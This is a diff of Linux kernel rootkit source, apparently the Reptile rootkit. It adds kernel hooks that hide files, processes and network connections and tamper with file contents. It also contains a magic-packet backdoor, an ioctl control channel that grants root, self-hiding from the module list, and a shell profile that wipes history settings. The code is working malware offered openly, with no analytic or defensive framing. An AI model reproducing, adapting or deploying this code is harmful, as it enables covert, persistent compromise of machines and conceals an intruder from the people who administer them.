static int khook_compat_filldir64(void *__buf, const char *name, int namlen,
|
||||
loff_t offset, u64 ino, unsigned int d_type)
|
||||
{
|
||||
int ret = -ENOENT;
|
||||
if (!strstr(name, HIDE) || !hidden)
|
||||
ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type);
|
||||
return ret;
|
||||
}
|
||||
#endif
|
||||
|
||||
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0)
|
||||
KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *);
|
||||
struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name)
|
||||
#else
|
||||
KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *);
|
||||
struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
|
||||
#endif
|
||||
{
|
||||
struct dentry *found = NULL;
|
||||
if (!strstr(name->name, HIDE) || !hidden)
|
||||
found = KHOOK_ORIGIN(__d_lookup, parent, name);
|
||||
return found;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* --------------------- FILE CONTENT TAMPERING --------------------- */
|
||||
|
||||
#ifdef CONFIG_FILE_TAMPERING
|
||||
|
||||
#include "file.h"
|
||||
|
||||
atomic_t read_on;
|
||||
int file_tampering_flag = 0;
|
||||
|
||||
// This is not the best way to do that, but it works, maybe in the future I change that
|
||||
KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *);
|
||||
static ssize_t khook_vfs_read(struct file *file, char __user *buf,
|
||||
size_t count, loff_t *pos)
|
||||
{
|
||||
ssize_t ret;
|
||||
|
||||
atomic_set(&read_on, 1);
|
||||
ret = KHOOK_ORIGIN(vfs_read, file, buf, count, pos);
|
||||
|
||||
if (file_tampering_flag) {
|
||||
if (file_check(buf, ret) == 1)
|
||||
ret = hide_content(buf, ret);
|
||||
}
|
||||
atomic_set(&read_on, 0);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
/* ------------------------ HIDE CONNECTIONS ------------------------- */
|
||||
|
||||
#ifdef CONFIG_HIDE_CONN
|
||||
|
||||
#include <net/inet_sock.h>
|
||||
#include <linux/seq_file.h>
|
||||
#include "network.h"
|
||||
|
||||
LIST_HEAD(hidden_conn_list);
|
||||
|
||||
KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *);
|
||||
static int khook_tcp4_seq_show(struct seq_file *seq, void *v)
|
||||
{
|
||||
int ret;
|
||||
struct sock *sk = v;
|
||||
struct inet_sock *inet;
|
||||
struct hidden_conn *hc;
|
||||
unsigned int daddr;
|
||||
//unsigned short dport;
|
||||
|
||||
if (v == SEQ_START_TOKEN) {
|
||||
goto origin;
|
||||
}
|
||||
|
||||
inet = (struct inet_sock *)sk;
|
||||
|
||||
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33)
|
||||
daddr = inet->inet_daddr;
|
||||
//dport = inet->inet_dport;
|
||||
#else
|
||||
daddr = inet->daddr;
|
||||
//dport = inet->dport;
|
||||
#endif
|
||||
|
||||
list_for_each_entry(hc, &hidden_conn_list, list)
|
||||
{
|
||||
if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) {
|
||||
ret = 0;
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
origin:
|
||||
ret = KHOOK_ORIGIN(tcp4_seq_show, seq, v);
|
||||
out:
|
||||
return ret;
|
||||
}
|
||||
|
||||
KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *);
|
||||
static int khook_udp4_seq_show(struct seq_file *seq, void *v)
|
||||
{
|
||||
int ret;
|
||||
struct sock *sk = v;
|
||||
struct inet_sock *inet;
|
||||
struct hidden_conn *hc;
|
||||
unsigned int daddr;
|
||||
//unsigned short dport;
|
||||
|
||||
if (v == SEQ_START_TOKEN) {
|
||||
goto origin;
|
||||
}
|
||||
|
||||
inet = (struct inet_sock *)sk;
|
||||
|
||||
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33)
|
||||
daddr = inet->inet_daddr;
|
||||
//dport = inet->inet_dport;
|
||||
#else
|
||||
daddr = inet->daddr;
|
||||
//dport = inet->dport;
|
||||
#endif
|
||||
|
||||
list_for_each_entry(hc, &hidden_conn_list, list)
|
||||
{
|
||||
if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) {
|
||||
ret = 0;
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
origin:
|
||||
ret = KHOOK_ORIGIN(udp4_seq_show, seq, v);
|
||||
out:
|
||||
return ret;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
/* ----------------------------- BACKDOOR ----------------------------- */
|
||||
|
||||
#ifdef CONFIG_BACKDOOR
|
||||
#include <linux/netdevice.h>
|
||||
#include "backdoor.h"
|
||||
|
||||
KHOOK_EXT(int, ip_rcv, struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *);
|
||||
static int khook_ip_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt,
|
||||
struct net_device *orig_dev)
|
||||
{
|
||||
if (magic_packet_parse(skb))
|
||||
return KHOOK_ORIGIN(ip_rcv, skb, dev, pt, orig_dev);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
/* ------------------------------ COMMON ----------------------------- */
|
||||
|
||||
#if defined(CONFIG_HIDE_PROC) && defined(CONFIG_BACKDOOR)
|
||||
#include <linux/binfmts.h>
|
||||
|
||||
KHOOK_EXT(int, load_elf_binary, struct linux_binprm *);
|
||||
static int khook_load_elf_binary(struct linux_binprm *bprm)
|
||||
{
|
||||
int ret = KHOOK_ORIGIN(load_elf_binary, bprm);
|
||||
|
||||
if (!ret && !strcmp(bprm->filename, SHELL_PATH))
|
||||
flag_tasks(current->pid, 1);
|
||||
|
||||
return ret;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ------------------------------- CONTROL ----------------------------- */
|
||||
|
||||
#include <linux/net.h>
|
||||
#include <linux/in.h>
|
||||
#include <linux/uaccess.h>
|
||||
|
||||
int control_flag = 0;
|
||||
|
||||
struct control {
|
||||
unsigned short cmd;
|
||||
void *argv;
|
||||
};
|
||||
|
||||
KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long);
|
||||
static int khook_inet_ioctl(struct socket *sock, unsigned int cmd,
|
||||
unsigned long arg)
|
||||
{
|
||||
int ret = 0;
|
||||
unsigned int pid;
|
||||
struct control args;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
if (cmd == AUTH && arg == HTUA) {
|
||||
if (control_flag) {
|
||||
control_flag = 0;
|
||||
} else {
|
||||
control_flag = 1;
|
||||
}
|
||||
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (control_flag && cmd == AUTH) {
|
||||
if (copy_from_user(&args, (void *)arg, sizeof(args)))
|
||||
goto out;
|
||||
|
||||
switch (args.cmd) {
|
||||
case 0:
|
||||
#ifdef CONFIG_AUTO_HIDE
|
||||
hide_module();
|
||||
#endif
|
||||
flip_hidden_flag();
|
||||
break;
|
||||
case 1:
|
||||
if (copy_from_user(&pid, args.argv, sizeof(unsigned int)))
|
||||
goto out;
|
||||
|
||||
#ifdef CONFIG_HIDE_PROC
|
||||
hide_proc(pid);
|
||||
#endif
|
||||
break;
|
||||
case 2:
|
||||
#ifdef CONFIG_FILE_TAMPERING
|
||||
file_tampering();
|
||||
#endif
|
||||
break;
|
||||
case 3:
|
||||
#ifdef CONFIG_GIVE_ROOT
|
||||
get_root();
|
||||
#endif
|
||||
break;
|
||||
case 4:
|
||||
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
|
||||
goto out;
|
||||
|
||||
#ifdef CONFIG_HIDE_CONN
|
||||
network_hide_add(addr);
|
||||
#endif
|
||||
break;
|
||||
case 5:
|
||||
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
|
||||
goto out;
|
||||
|
||||
#ifdef CONFIG_HIDE_CONN
|
||||
network_hide_remove(addr);
|
||||
#endif
|
||||
break;
|
||||
default:
|
||||
goto origin;
|
||||
}
|
||||
|
||||
goto out;
|
||||
}
|
||||
|
||||
origin:
|
||||
ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg);
|
||||
out:
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
static int __init reptile_init(void)
|
||||
{
|
||||
int ret;
|
||||
|
||||
#ifdef CONFIG_FILE_TAMPERING
|
||||
/* Unfortunately I need to use this to ensure in some kernel
|
||||
* versions we will be able to unload the kernel module when
|
||||
* it is needed. Otherwise khook may take a really huge delay
|
||||
* to unload because of vfs_read hook
|
||||
*/
|
||||
atomic_set(&read_on, 0);
|
||||
#endif
|
||||
ret = khook_init();
|
||||
if (ret < 0)
|
||||
return ret;
|
||||
|
||||
#ifdef CONFIG_AUTO_HIDE
|
||||
hide_module();
|
||||
#endif
|
||||
|
||||
run_cmd(START_SCRIPT);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
static void __exit reptile_exit(void)
|
||||
{
|
||||
#ifdef CONFIG_FILE_TAMPERING
|
||||
while(atomic_read(&read_on) != 0) schedule();
|
||||
#endif
|
||||
khook_cleanup();
|
||||
}
|
||||
|
||||
module_init(reptile_init);
|
||||
module_exit(reptile_exit);
|
||||
MODULE_LICENSE("GPL");
|
@ -0,0 +1,39 @@
|
||||
#include <linux/module.h>
|
||||
#include <linux/mutex.h>
|
||||
#include <linux/slab.h>
|
||||
|
||||
#include "module.h"
|
||||
|
||||
int hide_m = 0;
|
||||
static struct list_head *mod_list;
|
||||
|
||||
void hide(void)
|
||||
{
|
||||
while (!mutex_trylock(&module_mutex))
|
||||
cpu_relax();
|
||||
mod_list = THIS_MODULE->list.prev;
|
||||
list_del(&THIS_MODULE->list);
|
||||
kfree(THIS_MODULE->sect_attrs);
|
||||
THIS_MODULE->sect_attrs = NULL;
|
||||
mutex_unlock(&module_mutex);
|
||||
|
||||
hide_m = 1;
|
||||
}
|
||||
|
||||
void show(void)
|
||||
{
|
||||
while (!mutex_trylock(&module_mutex))
|
||||
cpu_relax();
|
||||
list_add(&THIS_MODULE->list, mod_list);
|
||||
mutex_unlock(&module_mutex);
|
||||
|
||||
hide_m = 0;
|
||||
}
|
||||
|
||||
void hide_module(void)
|
||||
{
|
||||
if (hide_m == 0)
|
||||
hide();
|
||||
else if (hide_m == 1)
|
||||
show();
|
||||
}
|
@ -0,0 +1,78 @@
|
||||
#include <linux/version.h>
|
||||
#include <linux/inet.h>
|
||||
#include <linux/netlink.h>
|
||||
#include <linux/inet_diag.h>
|
||||
|
||||
#include "network.h"
|
||||
#include "string_helpers.h"
|
||||
|
||||
void network_hide_add(struct sockaddr_in addr)
|
||||
{
|
||||
struct hidden_conn *hc;
|
||||
|
||||
hc = kmalloc(sizeof(*hc), GFP_KERNEL);
|
||||
|
||||
if (!hc)
|
||||
return;
|
||||
|
||||
hc->addr = addr;
|
||||
list_add(&hc->list, &hidden_conn_list);
|
||||
}
|
||||
|
||||
void network_hide_remove(struct sockaddr_in addr)
|
||||
{
|
||||
struct hidden_conn *hc;
|
||||
|
||||
list_for_each_entry(hc, &hidden_conn_list, list)
|
||||
{
|
||||
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) {
|
||||
list_del(&hc->list);
|
||||
kfree(hc);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int is_addr_hidden(struct sockaddr_in addr)
|
||||
{
|
||||
struct hidden_conn *hc;
|
||||
|
||||
list_for_each_entry(hc, &hidden_conn_list, list)
|
||||
{
|
||||
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr)
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
unsigned int _inet4_pton(char *src)
|
||||
{
|
||||
unsigned int dst;
|
||||
int srclen = strlen(src);
|
||||
|
||||
if (srclen > INET_ADDRSTRLEN)
|
||||
return -EINVAL;
|
||||
|
||||
if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0)
|
||||
return -EINVAL;
|
||||
|
||||
return dst;
|
||||
}
|
||||
|
||||
void hide_conn(char *ip_str)
|
||||
{
|
||||
unsigned int ip;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
if ((ip = _inet4_pton(ip_str)) > 0) {
|
||||
addr.sin_addr.s_addr = ip;
|
||||
|
||||
if (is_addr_hidden(addr))
|
||||
network_hide_remove(addr);
|
||||
else
|
||||
network_hide_add(addr);
|
||||
}
|
||||
}
|
||||
*/
|
@ -0,0 +1,144 @@
|
||||
#include <linux/version.h>
|
||||
#include <linux/uaccess.h>
|
||||
#include <linux/ctype.h>
|
||||
#include <linux/slab.h>
|
||||
#include <linux/namei.h>
|
||||
#include <linux/limits.h>
|
||||
|
||||
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
|
||||
# include <linux/sched/signal.h>
|
||||
#endif
|
||||
|
||||
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
|
||||
# include "string_helpers.h"
|
||||
#endif
|
||||
|
||||
#include "proc.h"
|
||||
|
||||
int flag_tasks(pid_t pid, int set)
|
||||
{
|
||||
int ret = 0;
|
||||
struct pid *p;
|
||||
|
||||
rcu_read_lock();
|
||||
p = find_get_pid(pid);
|
||||
if (p) {
|
||||
struct task_struct *task = get_pid_task(p, PIDTYPE_PID);
|
||||
if (task) {
|
||||
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
|
||||
struct task_struct *t = NULL;
|
||||
|
||||
for_each_thread(task, t)
|
||||
{
|
||||
if (set)
|
||||
t->flags |= FLAG;
|
||||
else
|
||||
t->flags &= ~FLAG;
|
||||
|
||||
ret++;
|
||||
}
|
||||
#endif
|
||||
if (set)
|
||||
task->flags |= FLAG;
|
||||
else
|
||||
task->flags &= ~FLAG;
|
||||
|
||||
put_task_struct(task);
|
||||
}
|
||||
put_pid(p);
|
||||
}
|
||||
rcu_read_unlock();
|
||||
return ret;
|
||||
}
|
||||
|
||||
struct task_struct *find_task(pid_t pid)
|
||||
{
|
||||
struct task_struct *p = current;
|
||||
struct task_struct *ret = NULL;
|
||||
|
||||
rcu_read_lock();
|
||||
for_each_process(p)
|
||||
{
|
||||
if (p->pid == pid) {
|
||||
get_task_struct(p);
|
||||
ret = p;
|
||||
}
|
||||
}
|
||||
rcu_read_unlock();
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
int is_proc_invisible(pid_t pid)
|
||||
{
|
||||
struct task_struct *task;
|
||||
int ret = 0;
|
||||
|
||||
if (!pid)
|
||||
return ret;
|
||||
|
||||
task = find_task(pid);
|
||||
if (!task)
|
||||
return ret;
|
||||
|
||||
if (is_task_invisible(task))
|
||||
ret = 1;
|
||||
|
||||
put_task_struct(task);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int is_proc_invisible_2(const char __user *filename)
|
||||
{
|
||||
int ret = 0, i, argc, is_num = 1;
|
||||
pid_t pid = 0;
|
||||
char **a;
|
||||
char *name = kmalloc(PATH_MAX, GFP_KERNEL);
|
||||
|
||||
if (strncpy_from_user(name, filename, PATH_MAX) > 0) {
|
||||
if (strncmp(name, "/proc/", 6) == 0) {
|
||||
strreplace(name, '/', ' ');
|
||||
|
||||
a = argv_split(GFP_KERNEL, name, &argc);
|
||||
|
||||
for (i = 0; i < strlen(a[1]); i++) {
|
||||
if (!isdigit(*a[1]))
|
||||
is_num = 0;
|
||||
}
|
||||
|
||||
if (is_num) {
|
||||
if (kstrtoint(a[1], 10, &pid) == 0) {
|
||||
if (is_proc_invisible(pid))
|
||||
ret = 1;
|
||||
}
|
||||
}
|
||||
|
||||
argv_free(a);
|
||||
}
|
||||
}
|
||||
|
||||
kfree(name);
|
||||
return ret;
|
||||
}
|
||||
|
||||
void hide_proc(pid_t pid)
|
||||
{
|
||||
if (is_proc_invisible(pid))
|
||||
flag_tasks(pid, 0);
|
||||
else
|
||||
flag_tasks(pid, 1);
|
||||
}
|
||||
|
||||
/*
|
||||
void hide_proc(char *pid_str)
|
||||
{
|
||||
pid_t pid;
|
||||
|
||||
if (kstrtoint(pid_str, 10, &pid) == 0) {
|
||||
if (is_proc_invisible(pid))
|
||||
flag_tasks(pid, 0);
|
||||
else
|
||||
flag_tasks(pid, 1);
|
||||
}
|
||||
}
|
||||
*/
|
@ -0,0 +1,264 @@
|
||||
#include "string_helpers.h"
|
||||
|
||||
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0)
|
||||
|
||||
/* stolen from lib/string_helpers.c */
|
||||
|
||||
#include <linux/slab.h>
|
||||
#include <linux/ctype.h>
|
||||
|
||||
#define ESCAPE_SPACE 0x01
|
||||
#define ESCAPE_SPECIAL 0x02
|
||||
#define ESCAPE_NULL 0x04
|
||||
#define ESCAPE_OCTAL 0x08
|
||||
#define ESCAPE_ANY (ESCAPE_SPACE | ESCAPE_OCTAL | ESCAPE_SPECIAL | ESCAPE_NULL)
|
||||
#define ESCAPE_NP 0x10
|
||||
#define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP)
|
||||
#define ESCAPE_HEX 0x20
|
||||
|
||||
static bool escape_passthrough(unsigned char c, char **dst, char *end)
|
||||
{
|
||||
char *out = *dst;
|
||||
|
||||
if (out < end)
|
||||
*out = c;
|
||||
*dst = out + 1;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool escape_space(unsigned char c, char **dst, char *end)
|
||||
{
|
||||
char *out = *dst;
|
||||
unsigned char to;
|
||||
|
||||
switch (c) {
|
||||
case '\n':
|
||||
to = 'n';
|
||||
break;
|
||||
case '\r':
|
||||
to = 'r';
|
||||
break;
|
||||
case '\t':
|
||||
to = 't';
|
||||
break;
|
||||
case '\v':
|
||||
to = 'v';
|
||||
break;
|
||||
case '\f':
|
||||
to = 'f';
|
||||
break;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
|
||||
if (out < end)
|
||||
*out = '\\';
|
||||
++out;
|
||||
if (out < end)
|
||||
*out = to;
|
||||
++out;
|
||||
|
||||
*dst = out;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool escape_special(unsigned char c, char **dst, char *end)
|
||||
{
|
||||
char *out = *dst;
|
||||
unsigned char to;
|
||||
|
||||
switch (c) {
|
||||
case '\\':
|
||||
to = '\\';
|
||||
break;
|
||||
case '\a':
|
||||
to = 'a';
|
||||
break;
|
||||
case '\e':
|
||||
to = 'e';
|
||||
break;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
|
||||
if (out < end)
|
||||
*out = '\\';
|
||||
++out;
|
||||
if (out < end)
|
||||
*out = to;
|
||||
++out;
|
||||
|
||||
*dst = out;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool escape_null(unsigned char c, char **dst, char *end)
|
||||
{
|
||||
char *out = *dst;
|
||||
|
||||
if (c)
|
||||
return false;
|
||||
|
||||
if (out < end)
|
||||
*out = '\\';
|
||||
++out;
|
||||
if (out < end)
|
||||
*out = '0';
|
||||
++out;
|
||||
|
||||
*dst = out;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool escape_octal(unsigned char c, char **dst, char *end)
|
||||
{
|
||||
char *out = *dst;
|
||||
|
||||
if (out < end)
|
||||
*out = '\\';
|
||||
++out;
|
||||
if (out < end)
|
||||
*out = ((c >> 6) & 0x07) + '0';
|
||||
++out;
|
||||
if (out < end)
|
||||
*out = ((c >> 3) & 0x07) + '0';
|
||||
++out;
|
||||
if (out < end)
|
||||
*out = ((c >> 0) & 0x07) + '0';
|
||||
++out;
|
||||
|
||||
*dst = out;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool escape_hex(unsigned char c, char **dst, char *end)
|
||||
{
|
||||
char *out = *dst;
|
||||
|
||||
if (out < end)
|
||||
*out = '\\';
|
||||
++out;
|
||||
if (out < end)
|
||||
*out = 'x';
|
||||
++out;
|
||||
if (out < end)
|
||||
*out = hex_asc_hi(c);
|
||||
++out;
|
||||
if (out < end)
|
||||
*out = hex_asc_lo(c);
|
||||
++out;
|
||||
|
||||
*dst = out;
|
||||
return true;
|
||||
}
|
||||
|
||||
int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
|
||||
unsigned int flags, const char *only)
|
||||
{
|
||||
char *p = dst;
|
||||
char *end = p + osz;
|
||||
bool is_dict = only && *only;
|
||||
|
||||
while (isz--) {
|
||||
unsigned char c = *src++;
|
||||
|
||||
/*
|
||||
* Apply rules in the following sequence:
|
||||
* - the character is printable, when @flags has
|
||||
* %ESCAPE_NP bit set
|
||||
* - the @only string is supplied and does not contain a
|
||||
* character under question
|
||||
* - the character doesn't fall into a class of symbols
|
||||
* defined by given @flags
|
||||
* In these cases we just pass through a character to the
|
||||
* output buffer.
|
||||
*/
|
||||
if ((flags & ESCAPE_NP && isprint(c)) ||
|
||||
(is_dict && !strchr(only, c))) {
|
||||
/* do nothing */
|
||||
} else {
|
||||
if (flags & ESCAPE_SPACE && escape_space(c, &p, end))
|
||||
continue;
|
||||
|
||||
if (flags & ESCAPE_SPECIAL && escape_special(c, &p, end))
|
||||
continue;
|
||||
|
||||
if (flags & ESCAPE_NULL && escape_null(c, &p, end))
|
||||
continue;
|
||||
|
||||
/* ESCAPE_OCTAL and ESCAPE_HEX always go last */
|
||||
if (flags & ESCAPE_OCTAL && escape_octal(c, &p, end))
|
||||
continue;
|
||||
|
||||
if (flags & ESCAPE_HEX && escape_hex(c, &p, end))
|
||||
continue;
|
||||
}
|
||||
|
||||
escape_passthrough(c, &p, end);
|
||||
}
|
||||
|
||||
return p - dst;
|
||||
}
|
||||
|
||||
char *kstrdup_quotable(const char *src, gfp_t gfp)
|
||||
{
|
||||
size_t slen, dlen;
|
||||
char *dst;
|
||||
const int flags = ESCAPE_HEX;
|
||||
const char esc[] = "\f\n\r\t\v\a\e\\\"";
|
||||
|
||||
if (!src)
|
||||
return NULL;
|
||||
slen = strlen(src);
|
||||
|
||||
dlen = string_escape_mem(src, slen, NULL, 0, flags, esc);
|
||||
dst = kmalloc(dlen + 1, gfp);
|
||||
if (!dst)
|
||||
return NULL;
|
||||
|
||||
WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen);
|
||||
dst[dlen] = '\0';
|
||||
|
||||
return dst;
|
||||
}
|
||||
|
||||
#include "util.h"
|
||||
|
||||
char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp)
|
||||
{
|
||||
char *buffer, *quoted;
|
||||
int i, res;
|
||||
|
||||
buffer = kmalloc(PAGE_SIZE, GFP_KERNEL);
|
||||
if (!buffer)
|
||||
return NULL;
|
||||
|
||||
res = get_cmdline(task, buffer, PAGE_SIZE - 1);
|
||||
buffer[res] = '\0';
|
||||
|
||||
/* Collapse trailing NULLs, leave res pointing to last non-NULL. */
|
||||
while (--res >= 0 && buffer[res] == '\0')
|
||||
;
|
||||
|
||||
/* Replace inter-argument NULLs. */
|
||||
for (i = 0; i <= res; i++)
|
||||
if (buffer[i] == '\0')
|
||||
buffer[i] = ' ';
|
||||
|
||||
/* Make sure result is printable. */
|
||||
quoted = kstrdup_quotable(buffer, gfp);
|
||||
kfree(buffer);
|
||||
return quoted;
|
||||
}
|
||||
|
||||
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
|
||||
char *strreplace(char *s, char old, char new)
|
||||
{
|
||||
for (; *s; ++s)
|
||||
if (*s == old)
|
||||
*s = new;
|
||||
return s;
|
||||
}
|
||||
|
||||
#endif
|
||||
#endif
|
@ -0,0 +1,115 @@
|
||||
#include <linux/kmod.h>
|
||||
#include <linux/kallsyms.h>
|
||||
#include <linux/types.h>
|
||||
#include <linux/slab.h>
|
||||
#include <linux/mm.h>
|
||||
#include <linux/sched.h>
|
||||
#include <linux/version.h>
|
||||
#include <linux/ctype.h>
|
||||
|
||||
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
|
||||
# include <linux/sched/mm.h>
|
||||
#endif
|
||||
|
||||
#include "util.h"
|
||||
|
||||
asmlinkage int (*_access_process_vm)(struct task_struct *, unsigned long, void *, int, int);
|
||||
|
||||
int util_init(void)
|
||||
{
|
||||
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
|
||||
_access_process_vm = (void *) access_process_vm;
|
||||
#else
|
||||
_access_process_vm = (void *) ksym_lookup_name("access_process_vm");
|
||||
#endif
|
||||
|
||||
if (!_access_process_vm)
|
||||
return -EFAULT;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* stolen from mm/util.c */
|
||||
|
||||
int get_cmdline(struct task_struct *task, char *buffer, int buflen)
|
||||
{
|
||||
int res = 0;
|
||||
unsigned int len;
|
||||
struct mm_struct *mm = get_task_mm(task);
|
||||
unsigned long arg_start, arg_end, env_start, env_end;
|
||||
if (!mm)
|
||||
goto out;
|
||||
if (!mm->arg_end)
|
||||
goto out_mm;
|
||||
|
||||
down_read(&mm->mmap_sem);
|
||||
arg_start = mm->arg_start;
|
||||
arg_end = mm->arg_end;
|
||||
env_start = mm->env_start;
|
||||
env_end = mm->env_end;
|
||||
up_read(&mm->mmap_sem);
|
||||
|
||||
len = arg_end - arg_start;
|
||||
|
||||
if (len > buflen)
|
||||
len = buflen;
|
||||
|
||||
res = _access_process_vm(task, arg_start, buffer, len, FOLL_FORCE);
|
||||
|
||||
/*
|
||||
* If the nul at the end of args has been overwritten, then
|
||||
* assume application is using setproctitle(3).
|
||||
*/
|
||||
if (res > 0 && buffer[res-1] != '\0' && len < buflen) {
|
||||
len = strnlen(buffer, res);
|
||||
if (len < res) {
|
||||
res = len;
|
||||
} else {
|
||||
len = env_end - env_start;
|
||||
if (len > buflen - res)
|
||||
len = buflen - res;
|
||||
res += _access_process_vm(task, env_start, buffer+res, len, FOLL_FORCE);
|
||||
res = strnlen(buffer, res);
|
||||
}
|
||||
}
|
||||
out_mm:
|
||||
mmput(mm);
|
||||
out:
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
static int count_argc(const char *str)
|
||||
{
|
||||
int count = 0;
|
||||
bool was_space;
|
||||
|
||||
for (was_space = true; *str; str++) {
|
||||
if (isspace(*str)) {
|
||||
was_space = true;
|
||||
} else if (was_space) {
|
||||
was_space = false;
|
||||
count++;
|
||||
}
|
||||
}
|
||||
|
||||
return count;
|
||||
}
|
||||
|
||||
int run_cmd(const char *cmd)
|
||||
{
|
||||
char **argv;
|
||||
int ret;
|
||||
int i;
|
||||
|
||||
argv = argv_split(GFP_KERNEL, cmd, NULL);
|
||||
if (argv) {
|
||||
ret = exec(argv);
|
||||
argv_free(argv);
|
||||
} else {
|
||||
ret = -ENOMEM;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
*/
|
@ -0,0 +1,59 @@
|
||||
case $- in
|
||||
*i*) ;;
|
||||
*) return;;
|
||||
esac
|
||||
|
||||
tty -s || return
|
||||
[ ! -z $TERM ] && export TERM=xterm
|
||||
unset HISTFILE SAVEHIST TMOUT PROMPT_COMMAND
|
||||
[ $(id -u) != 0 ] && kill -9 $$
|
||||
|
||||
#declare -x LS_COLORS="no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.mng=01;35:*.xcf=01;35:*.pcx=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.avi=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.mov=01;35:*.qt=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.pdf=00;32:*.ps=00;32:*.txt=00;32:*.patch=00;32:*.diff=00;32:*.log=00;32:*.tex=00;32:*.doc=00;32:*.mp3=00;36:*.wav=00;36:*.mid=00;36:*.midi=00;36:*.au=00;36:*.ogg=00;36:*.flac=00;36:*.aac=00;36:"
|
||||
export TERM="xterm"
|
||||
#HISTCONTROL=ignoreboth
|
||||
#shopt -s histappend
|
||||
#HISTSIZE=1000
|
||||
#HISTFILESIZE=2000
|
||||
|
||||
shopt -s checkwinsize
|
||||
uname -a; id;
|
||||
echo
|
||||
|
||||
color_prompt=yes
|
||||
force_color_prompt=yes
|
||||
|
||||
if [ -n "$force_color_prompt" ]; then
|
||||
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
|
||||
color_prompt=yes
|
||||
else
|
||||
color_prompt=
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$color_prompt" = yes ]; then
|
||||
PS1='\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
|
||||
else
|
||||
PS1='\u@\h:\w\$ '
|
||||
fi
|
||||
unset color_prompt force_color_prompt
|
||||
|
||||
if [ -x /usr/bin/dircolors ]; then
|
